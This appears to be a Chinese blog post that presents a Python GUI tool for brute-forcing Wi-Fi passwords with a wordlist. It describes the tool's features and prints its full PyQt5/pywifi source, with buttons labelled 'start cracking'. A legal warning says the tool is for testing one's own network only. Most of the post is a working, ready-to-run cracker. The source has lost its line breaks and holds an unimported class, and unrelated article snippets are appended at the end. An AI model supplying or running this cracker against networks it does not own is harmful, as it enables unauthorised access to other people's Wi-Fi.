Python Wi-Fi密码测试工具
Python Wi-Fi测试工具
相关资源文件已经打包成EXE文件,可双击直接运行程序,且文章末尾已附上相关源码,以供大家学习交流,博主主页还有更多Python相关程序案例,秉着开源精神的想法,望大家喜欢,点个关注不迷路!!!
1. 简介:
这款工具的目的是通过字典攻击方式帮助用户测试 Wi-Fi 网络的安全性。通过选择合适的无线网卡接口、目标 Wi-Fi 网络和密码字典文件,用户可以在界面上实时看到测试进度、日志和最终结果。
以下是详细的功能介绍:
1. Wi-Fi 接口选择
功能:允许用户选择无线网卡接口。
实现:通过 pywifi.PyWiFi() 获取所有可用的无线网卡接口,并在界面中显示供用户选择。
2. Wi-Fi 网络扫描
功能:扫描可用的 Wi-Fi 网络并显示在下拉列表中。
实现:选择无线网卡接口后,点击“刷新列表”按钮,程序将扫描并列出所有可用的 Wi-Fi 网络(SSID)。
3. 字典文件选择
功能:用户选择一个密码字典文件,工具将用字典中的密码尝试连接到目标 Wi-Fi 网络。
实现:用户可以通过拖放或点击“选择字典文件”按钮,选择一个 .txt 格式的密码字典文件。每个字典文件中的密码将逐一尝试。
4. Wi-Fi 测试过程
功能:使用字典文件中的密码尝试连接到目标 Wi-Fi 网络,直到找到正确的密码或遍历完所有密码。
实现:
使用 pywifi 库来创建 Wi-Fi 配置文件并尝试连接。
每个密码尝试后,更新日志并显示尝试的密码。
如果连接成功,显示成功密码;如果失败,则继续尝试下一个密码。
支持设置最大等待时间(例如 5 秒)来检查连接是否成功。
5. 进度条
功能:实时显示破解进度。
实现:在破解过程中,每次尝试密码后更新进度条,显示当前已尝试密码的百分比。
6. 日志显示
功能:记录并实时显示破解过程中的日志信息。
实现:所有的日志信息(如密码尝试、连接成功、失败等)会在界面上以文本形式实时更新,供用户查看。
7. 开始/停止测试
功能:用户可以开始或停止测试过程。
实现:点击“开始测试”按钮时,程序会启动一个后台线程,执行 Wi-Fi 测试操作。点击“停止测试”按钮时,用户可以中止破解操作。
8. 合法性警告
功能:在应用启动时,给出使用工具的合法性警告,提醒用户本工具仅供测试自己的网络安全性,禁止用于非法用途。
实现:弹出一个消息框,显示合法性警告。如果用户选择取消,则关闭程序。
9. 密码破解成功提示
功能:在成功测试出 Wi-Fi 密码时,弹出提示框告知用户破解结果。
实现:当测试成功后,弹出一个信息框,显示测试的密码。
*10. 停止测试
功能:用户可以随时停止正在进行的破解过程。
实现:通过 CrackThread 中的 stop() 方法,停止当前的测试线程。
2. 运行效果:



3. 相关源码:
import sys
import os
import time
from PyQt5.QtWidgets import (QApplication, QMainWindow, QPushButton, QVBoxLayout, QWidget,QLabel, QTextBrowser, QFileDialog, QProgressBar,QComboBox, QMessageBox, QLineEdit, QHBoxLayout
)
from PyQt5.QtCore import QThread, pyqtSignal, QTimer
from datetime import datetime
import pywifi
from pywifi import constclass DragDropLineEdit(QLineEdit):def __init__(self, parent=None):super().__init__(parent)self.setAcceptDrops(True)def dragEnterEvent(self, event):if event.mimeData().hasUrls():event.accept()else:event.ignore()def dropEvent(self, event):if event.mimeData().hasUrls():file_path = event.mimeData().urls()[0].toLocalFile()if os.path.isfile(file_path):self.setText(file_path)else:event.ignore()else:event.ignore()class CrackThread(QThread):update_progress = pyqtSignal(int)update_log = pyqtSignal(str)success_signal = pyqtSignal(str)def __init__(self, wifi_name, dictionary_path, iface):super(CrackThread, self).__init__()self.wifi_name = wifi_nameself.dictionary_path = dictionary_pathself.iface = ifaceself.running = Truedef emit_log_with_time(self, message):timestamp = datetime.now().strftime("[%Y-%m-%d %H:%M:%S]")self.update_log.emit(f"{timestamp} {message}")def run(self):if not os.path.exists(self.dictionary_path):self.emit_log_with_time("[!] 密码字典文件不存在!")returnself.emit_log_with_time("开始破解...")with open(self.dictionary_path, "r", encoding="utf-8") as file:passwords = file.readlines(1000) # 每次读取1000行total_passwords = len(passwords)for idx, password in enumerate(passwords):if not self.running:self.emit_log_with_time("[!] 破解已停止。")breakpassword = password.strip() # 去除多余空格和换行符self.emit_log_with_time(f"[-] 测试密码: {password}")if self.wifi_connect(password):self.emit_log_with_time(f"[+] 成功连接!密码:{password}")self.success_signal.emit(password)self.update_progress.emit(100)returnself.update_progress.emit(int((idx + 1) / total_passwords * 100))self.emit_log_with_time("[!] 破解失败,尝试其他字典文件。")def wifi_connect(self, pwd):try:# 创建WiFi配置文件profile = pywifi.Profile()profile.ssid = self.wifi_nameprofile.auth = const.AUTH_ALG_OPENprofile.akm.append(const.AKM_TYPE_WPA2PSK)profile.cipher = const.CIPHER_TYPE_CCMPprofile.key = pwd# 清除所有配置文件self.iface.remove_all_network_profiles()tep_profile = self.iface.add_network_profile(profile)# 连接WiFiself.iface.connect(tep_profile)start_time = time.time()# 等待连接结果while time.time() - start_time < 5: # 延长等待时间到5秒status = self.iface.status()if status == const.IFACE_CONNECTED:self.iface.disconnect() # 连接成功后断开,避免干扰后续操作return Trueelif status == const.IFACE_DISCONNECTED:time.sleep(1) # 给网卡足够时间反应self.iface.disconnect() # 确保清理状态return Falseexcept Exception as e:self.emit_log_with_time(f"[!] 连接时发生错误: {e}")return Falsedef stop(self):self.running = Falseclass WiFiCrackerUI(QMainWindow):def __init__(self):super().__init__()self.initUI()self.thread = Nonedef initUI(self):self.setWindowTitle("WiFi破解工具")self.setGeometry(100, 100, 378, 532)self.set_ui_styles()self.show_legal_warning()layout = QVBoxLayout()self.interface_label = QLabel("选择无线网卡接口:")self.interface_list = QComboBox()self.refresh_interface_list()layout.addWidget(self.interface_label)layout.addWidget(self.interface_list)wifi_layout = QHBoxLayout()self.wifi_label = QLabel("WiFi 名称:")self.wifi_list = QComboBox()self.refresh_wifi_button = QPushButton("刷新列表")self.refresh_wifi_button.clicked.connect(self.refresh_wifi_list)wifi_layout.addWidget(self.wifi_label)wifi_layout.addWidget(self.wifi_list)wifi_layout.addWidget(self.refresh_wifi_button)layout.addLayout(wifi_layout)self.path_label = QLabel("密码字典路径:")self.path_input = DragDropLineEdit()self.browse_button = QPushButton("选择字典文件(.txt)")self.browse_button.clicked.connect(self.browse_file)layout.addWidget(self.path_label)layout.addWidget(self.path_input)layout.addWidget(self.browse_button)self.log_browser = QTextBrowser()layout.addWidget(self.log_browser)self.progress_bar = QProgressBar()layout.addWidget(self.progress_bar)self.start_button = QPushButton("开始破解")self.start_button.clicked.connect(self.start_cracking)self.stop_button = QPushButton("停止破解")self.stop_button.clicked.connect(self.stop_cracking)layout.addWidget(self.start_button)layout.addWidget(self.stop_button)container = QWidget()container.setLayout(layout)self.setCentralWidget(container)self.refresh_wifi_list()def set_ui_styles(self):self.setStyleSheet("""QPushButton {background-color: #4CAF50;color: white;border-radius: 5px;padding: 10px;}QPushButton:hover {background-color: #45a049;}QProgressBar {border: 2px solid #4CAF50;border-radius: 5px;text-align: center;}QTextBrowser {background-color: #f5f5f5;font-family: "Courier New";border-radius: 5px;}""")def show_legal_warning(self):reply = QMessageBox.warning(self,"合法性警告","本工具仅供测试自己网络的安全性,禁止用于非法用途!\n""使用本工具即表示您同意对所有行为自行负责。",QMessageBox.Ok | QMessageBox.Cancel,)if reply == QMessageBox.Cancel:self.close() # 如果用户选择取消,退出程序def load_translations(self, language_code="en"):translator = QTranslator()if language_code == "zh":translator.load(":/translations/zh_CN.qm")else:translator.load(":/translations/en_US.qm")app.installTranslator(translator)def refresh_interface_list(self):wifi = pywifi.PyWiFi()self.interface_list.clear()for iface in wifi.interfaces():self.interface_list.addItem(iface.name())def refresh_wifi_list(self):self.wifi_list.clear()iface_name = self.interface_list.currentText()if not iface_name:self.log_browser.append("[!] 请先选择 Wi-Fi 接口!")returntry:wifi = pywifi.PyWiFi()iface = next(iface for iface in wifi.interfaces() if iface.name() == iface_name)iface.scan()self.log_browser.append("[+] 网络扫描开始...")QTimer.singleShot(2000, self.on_scan_complete) # 2秒后回调扫描结果except Exception as e:self.log_browser.append(f"[!] 刷新 Wi-Fi 列表时出错: {e}")def on_scan_complete(self):iface_name = self.interface_list.currentText()wifi = pywifi.PyWiFi()iface = next(iface for iface in wifi.interfaces() if iface.name() == iface_name)results = iface.scan_results()seen_ssids = set()for network in results:ssid = network.ssid.encode('raw_unicode_escape').decode('utf-8', 'ignore')if ssid and ssid not in seen_ssids:self.wifi_list.addItem(ssid)seen_ssids.add(ssid)self.log_browser.append("[+] Wi-Fi 列表刷新完成。")def browse_file(self):file_path, _ = QFileDialog.getOpenFileName(self, "选择密码字典文件", "", "文本文件 (*.txt)")if file_path:if not file_path.endswith('.txt'):self.log_browser.append("[!] 请选择一个有效的文本文件!")returnself.path_input.setText(file_path)def start_cracking(self):if self.thread and self.thread.isRunning():self.log_browser.append("[!] 破解已经在运行中,请等待完成。")returnwifi_name = self.wifi_list.currentText().strip()dictionary_path = self.path_input.text().strip()if not wifi_name or not dictionary_path:self.log_browser.append("[!] 请填写完整信息!")returntry:wifi = pywifi.PyWiFi()iface = next(iface for iface in wifi.interfaces() if iface.name() == self.interface_list.currentText())iface.disconnect()time.sleep(1)if iface.status() != const.IFACE_DISCONNECTED:self.log_browser.append("[!] 无法断开当前连接。")returnexcept Exception as e:self.log_browser.append(f"[!] 无法初始化无线网卡: {e}")returnself.thread = CrackThread(wifi_name, dictionary_path, iface)self.thread.update_log.connect(self.log_browser.append)self.thread.update_progress.connect(self.progress_bar.setValue)self.thread.success_signal.connect(self.show_success_message)self.thread.start()def stop_cracking(self):if self.thread and self.thread.isRunning():self.thread.stop()def show_success_message(self, password):QMessageBox.information(self, "破解成功", f"Wi-Fi 密码是: {password}")if __name__ == "__main__":app = QApplication(sys.argv)window = WiFiCrackerUI()window.show()sys.exit(app.exec_())相关文章:
Python Wi-Fi密码测试工具
Python Wi-Fi测试工具 相关资源文件已经打包成EXE文件,可双击直接运行程序,且文章末尾已附上相关源码,以供大家学习交流,博主主页还有更多Python相关程序案例,秉着开源精神的想法,望大家喜欢,点…...
Linux 创建用户
Linux 创建用户 创建用户 sudo useradd -m -s /bin/bash test - -m:自动创建家目录 /home/test - -s /bin/bash:指定默认的 shell 为 bash修改密码 # 修改密码 sudo passwd test删除用户 userdel -r zengshun - -r:把用户的主目录一起删…...
自建RustDesk服务器
RustDesk服务端 下面的截图是我本地的一个服务器做为演示用,你自行的搭建服务需要该服务器有固定的ip地址 1、通过宝塔面板快速安装 2、点击【安装】后会有一个配置信息,默认即可 3、点击【确认】后会自动安装等待安装完成 4、安装完成后点击【打开…...
Spring Boot Web技术栈(官网文档解读)
摘要 Spring Boot框架既支持传统的Servlet技术栈,也支持新兴的响应式(Reactive)技术栈。本篇文章将详细讲述Spring Boot 对两种技术栈的详细支持和使用。 Servlet 概述 基于Java Servlet API构建,它依赖于传统的阻塞I/O模型&…...
【llama_factory】qwen2_vl训练与批量推理
训练llama factory配置文件 文件:examples/train_lora/qwen2vl_lora_sft.yaml ### model model_name_or_path: qwen2_vl/model_72b trust_remote_code: true### method stage: sft do_train: true finetuning_type: lora lora_target: all### dataset dataset: ca…...
wpa_cli命令使用记录
wpa_cli可以用于查询当前状态、更改配置、触发事件和请求交互式用户输入。具体来说,它可以显示当前的认证状态、选择的安全模式、dot11和dot1x MIB等,并可以配置一些变量,如EAPOL状态机参数。此外,wpa_cli还可以触发重新关联和IEE…...
【Uniapp-Vue3】页面生命周期onLoad和onReady
一、onLoad函数 onLoad在页面载入时触发,多用于页面跳转时进行参数传递。 我们在跳转的时候传递参数name和age: 接受参数: import {onLoad} from "dcloudio/uni-app"; onLoad((e)>{...}) 二、onReady函数 页面生命周期函数中的onReady其…...
《C++11》并发库:简介与应用
在C11之前,C并没有提供原生的并发支持。开发者通常需要依赖于操作系统的API(如Windows的CreateThread或POSIX的pthread_create)或者第三方库(如Boost.Thread)来创建和管理线程。这些方式存在以下几个问题: …...
LeetCode - #183 Swift 实现查询未下订单的客户
网罗开发 (小红书、快手、视频号同名) 大家好,我是 展菲,目前在上市企业从事人工智能项目研发管理工作,平时热衷于分享各种编程领域的软硬技能知识以及前沿技术,包括iOS、前端、Harmony OS、Java、Python等…...
HTML拖拽功能(纯html5+JS实现)
1、HTML拖拽--单元行拖动 <!DOCTYPE html> <html lang"en"><head><meta charset"UTF-8"><meta name"viewport" content"widthdevice-width, initial-scale1.0"><title>Document</title><…...
mysql 等保处理,设置wait_timeout引发的问题
👨⚕ 主页: gis分享者 👨⚕ 感谢各位大佬 点赞👍 收藏⭐ 留言📝 加关注✅! 👨⚕ 收录于专栏:运维工程师 文章目录 前言问题处理 前言 系统部署完成后,客户需要做二级等保&…...
7.STM32F407ZGT6-RTC
参考: 1.正点原子 前言: RTC实时时钟是很基本的外设,用来记录绝对时间。做个总结,达到: 1.学习RTC的原理和概念。 2.通过STM32CubeMX快速配置RTC。 27.1 RTC 时钟简介 STM32F407 的实时时钟(RTC…...
重写(补充)
大家好,今天我们把剩下一点重写内容说完,来看。 [重写的设计规则] 对于已经投入使用的类,尽量不要进行修政 ,最好的方式是:重新定义一个新的类,来重复利用其中共性的内容 我们不该在原来的类上进行修改,因为原来的类,可能还有用…...
30分钟内搭建一个全能轻量级springboot 3.4 + 脚手架 <3>5分钟集成好druid并使用druid自带监控工具监控sql请求
快速导航 快速导航 <1> 5分钟快速创建一个springboot web项目 <2> 5分钟集成好最新版本的开源swagger ui,并使用ui操作调用接口 <3> 5分钟集成好druid并使用druid自带监控工具监控sql请求 <4> 5分钟集成好mybatisplus并使用mybatisplus g…...
【C#深度学习之路】如何使用C#实现Yolo8/11 Segment 全尺寸模型的训练和推理
【C#深度学习之路】如何使用C#实现Yolo8/11 Segment 全尺寸模型的训练和推理 项目背景项目实现推理过程训练过程 项目展望写在最后项目下载链接 本文为原创文章,若需要转载,请注明出处。 原文地址:https://blog.csdn.net/qq_30270773/article…...
Oracle 分区索引简介
目录 一. 什么是分区索引二. 分区索引的种类2.1 局部分区索引(Local Partitioned Index)2.2 全局分区索引(Global Partitioned Index) 三. 分区索引的创建四. 分区索引查看4.1 USER_IND_COLUMNS 表4.2 USER_INDEXES 表 五. 分区索…...
【科技赋能未来】NDT2025第三届新能源数字科技大会全面启动!
随着我国碳达峰目标、碳中和目标的提出,以及经济社会的发展进步,以风电、光伏发电为代表的新能源行业迎来巨大发展机遇,成为未来绿色经济发展的主要趋势和方向。 此外,数字化技术的不断发展和创新,其在新能源领域的应…...
Broker收到消息之后如何存储
1.前言 此文章是在儒猿课程中的学习笔记,感兴趣的想看原来的课程可以去咨询儒猿课堂《从0开始带你成为RocketMQ高手》,我本人觉得这个作者还是不错,都是从场景来进行分析,感觉还是挺适合我这种小白的。这块主要都是我自己的学习笔…...
Mysql--实战篇--SQL优化(查询优化器,常用的SQL优化方法,执行计划EXPLAIN,Mysql性能调优,慢日志开启和分析等)
一、查询优化 1、查询优化器 (Query Optimizer) MySQL查询优化器(Query Optimizer)是MySQL数据库管理系统中的一个关键组件,负责分析和选择最有效的执行计划来执行SQL查询。查询优化器的目标是尽可能减少查询的执行时间和资源消耗ÿ…...
BERT与CNN结合实现糖尿病相关医学问题多分类模型
完整源码项目包获取→点击文章末尾名片! 使用HuggingFace开发的Transformers库,使用BERT模型实现中文文本分类(二分类或多分类) 首先直接利用transformer.models.bert.BertForSequenceClassification()实现文本分类 然后手动实现B…...
wordpress后台更新后 前端没变化的解决方法
使用siteground主机的wordpress网站,会出现更新了网站内容和修改了php模板文件、js文件、css文件、图片文件后,网站没有变化的情况。 不熟悉siteground主机的新手,遇到这个问题,就很抓狂,明明是哪都没操作错误&#x…...
C++实现分布式网络通信框架RPC(3)--rpc调用端
目录 一、前言 二、UserServiceRpc_Stub 三、 CallMethod方法的重写 头文件 实现 四、rpc调用端的调用 实现 五、 google::protobuf::RpcController *controller 头文件 实现 六、总结 一、前言 在前边的文章中,我们已经大致实现了rpc服务端的各项功能代…...
实现弹窗随键盘上移居中
实现弹窗随键盘上移的核心思路 在Android中,可以通过监听键盘的显示和隐藏事件,动态调整弹窗的位置。关键点在于获取键盘高度,并计算剩余屏幕空间以重新定位弹窗。 // 在Activity或Fragment中设置键盘监听 val rootView findViewById<V…...
项目部署到Linux上时遇到的错误(Redis,MySQL,无法正确连接,地址占用问题)
Redis无法正确连接 在运行jar包时出现了这样的错误 查询得知问题核心在于Redis连接失败,具体原因是客户端发送了密码认证请求,但Redis服务器未设置密码 1.为Redis设置密码(匹配客户端配置) 步骤: 1).修…...
【7色560页】职场可视化逻辑图高级数据分析PPT模版
7种色调职场工作汇报PPT,橙蓝、黑红、红蓝、蓝橙灰、浅蓝、浅绿、深蓝七种色调模版 【7色560页】职场可视化逻辑图高级数据分析PPT模版:职场可视化逻辑图分析PPT模版https://pan.quark.cn/s/78aeabbd92d1...
return this;返回的是谁
一个审批系统的示例来演示责任链模式的实现。假设公司需要处理不同金额的采购申请,不同级别的经理有不同的审批权限: // 抽象处理者:审批者 abstract class Approver {protected Approver successor; // 下一个处理者// 设置下一个处理者pub…...
Qemu arm操作系统开发环境
使用qemu虚拟arm硬件比较合适。 步骤如下: 安装qemu apt install qemu-system安装aarch64-none-elf-gcc 需要手动下载,下载地址:https://developer.arm.com/-/media/Files/downloads/gnu/13.2.rel1/binrel/arm-gnu-toolchain-13.2.rel1-x…...
Linux系统部署KES
1、安装准备 1.版本说明V008R006C009B0014 V008:是version产品的大版本。 R006:是release产品特性版本。 C009:是通用版 B0014:是build开发过程中的构建版本2.硬件要求 #安全版和企业版 内存:1GB 以上 硬盘…...
论文阅读笔记——Muffin: Testing Deep Learning Libraries via Neural Architecture Fuzzing
Muffin 论文 现有方法 CRADLE 和 LEMON,依赖模型推理阶段输出进行差分测试,但在训练阶段是不可行的,因为训练阶段直到最后才有固定输出,中间过程是不断变化的。API 库覆盖低,因为各个 API 都是在各种具体场景下使用。…...
【p2p、分布式,区块链笔记 MESH】Bluetooth蓝牙通信 BLE Mesh协议的拓扑结构 定向转发机制
目录 节点的功能承载层(GATT/Adv)局限性: 拓扑关系定向转发机制定向转发意义 CG 节点的功能 节点的功能由节点支持的特性和功能决定。所有节点都能够发送和接收网格消息。节点还可以选择支持一个或多个附加功能,如 Configuration …...
